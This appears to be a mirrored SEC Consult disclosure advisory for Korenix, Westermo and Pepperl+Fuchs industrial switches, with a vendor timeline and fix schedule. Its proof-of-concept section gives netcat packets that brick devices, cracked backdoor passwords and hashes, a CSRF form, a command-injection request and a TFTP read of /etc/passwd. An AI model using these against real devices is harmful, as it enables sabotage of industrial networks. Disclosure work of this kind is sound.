

Korenix CSRF / Backdoor Accounts / Command Injection / Missing Authentication

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Multiple Korenix products are affected by unauthenticated device administration, backdoor accounts, cross site request forgery, unauthenticated http actions, and command injection vulnerabilities. Products affected include JetNet 5428G-20SFP, JetNet 5810G, JetNet 4706F, JetNet 4706, JetNet 4706, JetNet 4510, JetNet 5010, JetNet 5310, and JetNet 6095.

tags | exploit, vulnerability, csrf

advisories | CVE-2020-12500, CVE-2020-12501, CVE-2020-12502, CVE-2020-12503, CVE-2020-12504

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SEC Consult Vulnerability Lab Security Advisory < 20210601-0 >

title: Multiple Critical Vulnerabilities

product: Multiple Korenix Technology products:

Korenix: JetNet 5428G-20SFP, JetNet 5810G, JetNet 4706F, JetNet 4706, JetNet 4706, JetNet 4510, JetNet 5010, JetNet 5310 and JetNet 6095.

Westermo: PMI-110-F2G

Pepperl+Fuchs: Control RocketLinX Series, see SA-20201005-0

vulnerable version: See "Vulnerable / tested versions"

fixed version: See "Solution"

CVE number: CVE-2020-12500, CVE-2020-12501, CVE-2020-12502, CVE-2020-12503, CVE-2020-12504

impact: Critical

homepage: https://www.korenix.com/

found: 2020-04-06

by: T. Weber (Office Vienna)

SEC Consult Vulnerability Lab

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Vendor description:

"Korenix Technology, a Beijer group company within the Industrial Communication business area, is a global leading manufacturer providing innovative, market-oriented, value-focused Industrial Wired and Wireless Networking Solutions. With decades of experiences in the industry, we have developed various product lines, including:

- Industrial Ethernet Switch: Rackmount, Din-Rail, Managed, Unmanaged
- Industrial Power-over-Ethernet Switch: Rackmount, Din-Rail, Managed, Unmanaged
- Ethernet SFP/SFP+ Fiber Transceiver: 100M, 1000M, 10G
- Industrial Wireless & Cellular Solution: LAN Access Point, WLAN Controller, Mobile Cellular Router/Gateway
- Industrial Media Converter: Ethernet, Serial
- Industrial Computer & Serial Server & I/O: VPN Router Computer, RISC, X86, Serial Device Server, Switch Card & I/O Module
- Network Management Software: Korenix NMS Industrial Intelligent Network Management System, Korenix Mobile Manager Utility

Our products are mainly applied in SMART Industries: Surveillance, Machine-to-Machine, Automation, Remote Monitoring, andTransportation. Worldwide customer base covers different Sales channels, including end-customers, OEMs, system integrators, and brand label partners. [...]"

Source: https://www.korenix.com/en/about/index.aspx?kind=3

Business recommendation:

SEC Consult recommends to perform a thorough security review conducted by security professionals to identify and resolve potential further critical security issues.

Vulnerability overview/description:

1) Unauthenticated Device Administration (CVE-2020-12500)

Korenix, Westermo (members of the Beijer Group) and Control (Pepperl+Fuchs) are sharing a partially similar firmware base for the industrial devices. They can be managed via a Windows client program called "Korenix View" or "Jet View". This program communicates in plaintext via UDP. All messages that are sent to the device are broadcasted in the whole subnet and the answers from the devices are send back via broadcast too.

The older version of this management program, called "cmd-server2", can be controlled without a password. Analyzing the newer version, called "jetview", indicates that some kind of password can be set. But this is not part of the default configuration.

Actions that can be done via this daemon, listening on UDP port 5010, are:

- * Modifying networking settings (IP, network, gateway)
- * Initiating self tests and blink LEDs on the device
- * Triggering download and upload of configuration files (via TFTP)
- * Triggering uploads of new firmware and bootloader files (via TFTP)

The device can also be bricked via this daemon so that it is necessary to press the reset button and re-configure the settings. This was tested on a physical device, the JetNet 4706F.

2) Backdoor Accounts (CVE-2020-12501)

Multiple different backdoor accounts were found during quick security checks of different firmware files. One backdoor account was tested on a later bought device to verify this specific finding.

3) Cross-Site Request Forgery (CSRF) (CVE-2020-12502)

The web interface, that is used to set all configurations, is vulnerable to cross-site request forgery attacks. An attacker can change settings via this way by luring the victim to a malicious website.

4) Semi-Blind Authenticated Command Injection (CVE-2020-12503)

A semi-blind command injection vulnerabilities were found on the device series "JetNet" and the "Westermo PMI-110-F2G Managed PoE Gigabit Switch".

They are partially sharing the same firmware base. Therefore, the payloads to exploit those command injections are similar. Due to the lack of CSRF protection, an attacker can execute arbitrary commands on the device by luring the victim to click on a malicious link.

5) Arbitrary Unauthenticated TFTP Actions (CVE-2020-12504)

A TFTP service is present on a broad range of devices for firmware-, bootloader-, and configuration-uploads/downloads. This TFTP server can be abused to read all files from the system as the daemon runs as root which results in a password hash exposure via the file /etc/passwd. Write access is restricted to certain files (configuration, certificates, boot loader,

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OpenBSD (479)
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Solaris (1,607)

```
firmware upgrade) though.

By uploading malicious Quagga config-files an attacker can modify e.g.
IP-settings of the device. Malicious firmware and bootloader uploads are
possible too.

Proof of concept:
-----
1) Unauthenticated Device Administration (CVE-2020-12500)
All commands can be sent via UDP port 5010.

Device discovery (firmware/bootloader version etc. in response):
echo -e "\x00\x00\x00\x07\x00\x00\x04\x00\x00\x00\x01" | nc -u $IP 5010

Blink with leds:
echo -e "\x00\x00\x00\x0b\x00\x00\x00\x01\x01" | nc -u $IP 5010

Permanent denial of service. The device is only available after pressing the
reset button to load the default config:
echo -e "\x00\x00\x00\x1f\x01\x01\x01\x04\x01\x01\x01" | nc -u $IP 5010

Present on:
* Korenix JetNet (Multiple devices)
* Westermo PMI-110-F20
* Control RocketLink (Multiple devices)

2) Backdoor Accounts (CVE-2020-12501)
The following accounts are available on different devices of Korenix. There
might be more affected devices across this vendor. Westermo and Control devices
may be affected too.

* Uses "kn001277", present on:
- JetNet 4706f
- JetNet 4706
More devices may be affected.

Three users are present on the system according to "/etc/passwd". The hashes
were cracked and assigned to each user:
admin:admin
root:ilovekor
kn001277:vup2u04

By inspecting "/etc/passwd", the only user that is allowed to login
to the device on the real shell (/bin/sh) is "kn001277":
root:heGjODbadxTNw:0:0:root:/home:/bin/vtysh
[...]
kn001277:WcAXxIMgSqAhs:0:0:kn001277:/home:/bin/sh
[...].
admin:Dju8a52uMhbg.:0:0:root:/home:/bin/vtysh

The credentials were tested on a real device and they worked.

3) Cross-Site Request Forgery (CSRF) (CVE-2020-12502)
The following CSRF PoC can be used to ping 127.0.0.1. All other actions in the
context of the menu, like uploading config files, can be done in the same
way:
-----
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://$IP/goform/formping" method="POST">
  <input type="hidden" name="PingIPAddress" value="127.0.0.1" />
  <input type="hidden" name="submit-url" value="/toolping.asp" />
  <input type="hidden" name="Submit" value="Ping" />
  <input type="submit" value="Submit request" />
</form>
</body>
</html>
-----

4) Semi-Blind Authenticated Command Injection (CVE-2020-12503)
The following command injection works on the devices:
* Korenix JetNet (Multiple devices)
* Control RocketLink (Multiple devices)
* Westermo PMI-110-F20

The ping functionality in the web-interfaces can be abused to inject system
commands in a semi-blind way. Two requests must be sent to the service to
retrieve the output of the command injection.

The first request is a POST-request to the endpoint /goform/formping:
-----
POST /goform/formping HTTP/1.1
Host: $IP
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 57
Connection: close
Cookie: -common-web-session-=:webs.session::9c10b4b22063e7fcha5369ff86e779
Upgrade-Insecure-Requests: 1

PingIPAddress=1d;submit-url=%2Ftoolping.asp&Submit=Ping
-----
This request triggers the actual command injection in a blind way. The output
can be fetched from the system by using the following GET-request after
triggering the previous POST-request:
-----
GET //toolping.asp HTTP/1.1
Host: $IP
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: -common-web-session-=:webs.session::9c10b4b22063e7fcha5369ff86e779
Upgrade-Insecure-Requests: 1
-----

5) Arbitrary TFTP Actions (CVE-2020-12504)
The Linux TFTP client was used to download files from the system using
absolute paths. Uploads were only possible on existing paths like:
/home/Quagga.conf
/home/bootloader.bin

To download the /etc/passwd file from the system, the following
command was invoked:
[user@localhost ~]$ tftp -s binary <Target-IP> -c get /etc/passwd
[user@localhost ~]$ cat passwd
root:heGjODbadxTNw:0:0:root:/home:/bin/vtysh
bin:*:1:1:bin:/bin:
daemon:*:2:2:daemon:/usr/sbin:
sys:*:3:3:sys:/dev:
adm:*:4:4:adm:/var/adm:
lp:*:5:7:lp:/var/spool/lpd:
sync:*:6:8:sync:/bin:/bin/sync
shutdown:*:7:9:shutdown:/sbin:/sbin/shutdown
halt:*:8:10:halt:/sbin:/sbin/halt
mail:*:9:11:mail:/var/spool/mail:
news:*:10:12:news:/var/spool/news:
uucp:*:11:13:uucp:/var/spool/uucp:
kn001277:WcAXxIMgSqAhs:0:0:kn001277:/home:/bin/sh
operator:*:12:0:operator:/root:
games:*:13:100:games:/usr/games:
ftp:*:15:14:ftp:/var/ftp:
man:*:16:100:man:/var/cache/man:
nobody:*:65534:65534:nobody:/home:/bin/sh
admin:Dju8a52uMhbg.:0:0:root:/home:/bin/vtysh

Present on:
* Korenix JetNet (Multiple devices)
* Control RocketLink (Multiple devices)
* Westermo PMI-110-F20

The vulnerabilities 1), 2), 3), 4), and 5) were manually verified on an
emulated device by using the MEDUSA scalable firmware runtime.

Vulnerable / tested versions:
-----
Korenix JetNet 5428G-20SFP / 1.0
Korenix JetNet 5810G / 1.1
Korenix JetNet 5310 / 1.5
Korenix JetNet 5010 / 3.1a
Korenix JetNet 4706F / 2.3b
Korenix JetNet 4706 / 2.3b
Korenix JetNet 4510 / 3.0b
Westermo PMI-110-F2G / 1.5
Control ES7510 / 3.1a
Control ES7510-XT / 2.1b
Control ES7506 / 2.1b
Control ES8509-XT / 2.1a
```

Spoof (2,166)	SUSE (1,444)
SQL Injection (16,102)	Ubuntu (8,199)
TCP (2,379)	UNIX (9,159)
Trojan (686)	UnixWare (185)
UDP (876)	Windows (6,511)
Virus (662)	Other
Vulnerability (31,136)	
Web (9,365)	
Whitepaper (3,729)	
x86 (946)	
XSS (17,494)	
Other	

Control ES8510 / 3.1a
Control ES8510-KT / 3.1a
Control ES9528-KTv2 / 2.1a

Vendor contact timeline:

2020-04-14: Contacting CERT@VDE through info@cert.vde.com and requested support for the disclosure process due to the involvement of multiple vendors.
2020-04-15: Security contact responded, that the products were developed by Korenix Technologies.
2020-04-30: Security contact informed us, that some vulnerabilities were confirmed by the vendor.
2020-07-30: Call with Pepperl+Fuchs contact. Contact stated that the vulnerabilities were reported to Korenix.
2020-09-29: Call with Pepperl+Fuchs and CERT@VDE regarding status. Pepperl+Fuchs stated that they just have a sales contact from Korenix.
2020-10-05: Coordinated release of SA-20201005-0.
2020-10-05: Call with the helpdesk of Beijer Electronics AB. The contact stated that no case regarding vulnerabilities were opened and created one. The product owners of Westermo, Korenix and Beijer Electronics were informed via this inquiry. Set disclosure date to 2020-11-25.
2020-10-06: Restarted the whole responsible disclosure process by sending a request to the new security contact cs@beijerelectronics.com.
2020-10-07: Received an email from a Korenix representative which offered to answer questions about product security. Started responsible disclosure by requesting email certificate or whether plaintext can be used. Referred to the request to cs@beijerelectronics.com. No answer.
2020-11-11: Asked the representatives of Korenix and Beijer regarding the status. No answer.
2020-11-25: Phone call with security manager of Beijer. Sent advisories via encrypted archive to cs@beijerelectronics.com. Received confirmation of advisory receipt. Security manager told us that he can provide information regarding the time-line for the patches within the next two weeks.
2020-12-09: Asked for an update.
2020-12-18: Call with security manager of Beijer. Vendor presented initial analysis done by the affected companies.
2021-03-21: Security manager invited SEC Consult to have a status meeting.
2021-03-26: Agreed on an advisory split as other affected products will get patched later.
2021-04-12: Performed advisory split.
2021-05-26: Meeting regarding advisory publication. Received vendor statement.
2021-06-01: Coordinated release of security advisory.

Solution:

Update to the most recent firmware version provided on the vendor's website.

Vendor's statement:

"Korenix recommends users to restrict network access to the devices to only trusted parties/devices/network. Korenix also recommends security best practices and firewall configurations that can help protect devices from attacks that originate from outside the network. Such practices might include:
* Restrict physical access to device to authorized personnel,
* Do not have direct connections to the Internet,
* Separate from other networks by means of a firewall system with a minimal number of exposed ports,
* Portable computers and removable storage media should be carefully scanned for viruses before they are connected to those devices.
For additional information and support please contact the local Korenix service organization. For contact information, see:
<https://www.korenix.com/en/contact/index.aspx>

In the upcoming version of those devices these problems will fixed before the first launch of those new products.

Model reported/ODM	Affected	Fixed Timeline	Replacement model
JetNet 5428G-20SFP	V1.0	Q1,2021	JetMet 6528G
JetNet 5810G	V1.1	Q1,2021	JetMet 5200 series
JetNet 4706F	V2.3b	Q1,2021	JetMet 5200 series
JetNet 4510	V3.0b	Q1,2021	JetMet 5200 series
JetNet 5310	V1.5	V1.6 Q1,2021	JetMet 5200 series
Westermo PMI-110-F2G	V1.5	V1.8 Q1,2021	
JetNet 5310/Control ES7510-KT	V2.1b	V2.1C Q1,2021	JetMet 5200 series
JetNet 5310/Control ES7510	V3.1a	V3.1b Q1,2021	JetMet 5200 series
JetNet 5010/Control ES8510	V3.1a	V3.1b Q1,2021	JetMet 5200 series
JetNet 5010/Control ES8510-KT	V3.1a	V3.1b Q1,2021	JetMet 5200 series
JetNet 4706/Control ES7506	V2.1b	Q1,2021	JetMet 5200 series
JetNet 6095/Control ES8509-KT	V2.1a	Q1,2021	JetMet 5200 series
JetNet 5428G/Control ES9528-KTv2	V2.1a	Q1,2021	JetMet 6528G"

Workaround:

None

Advisory URL:

<https://sec-consult.com/vulnerability-lab/>

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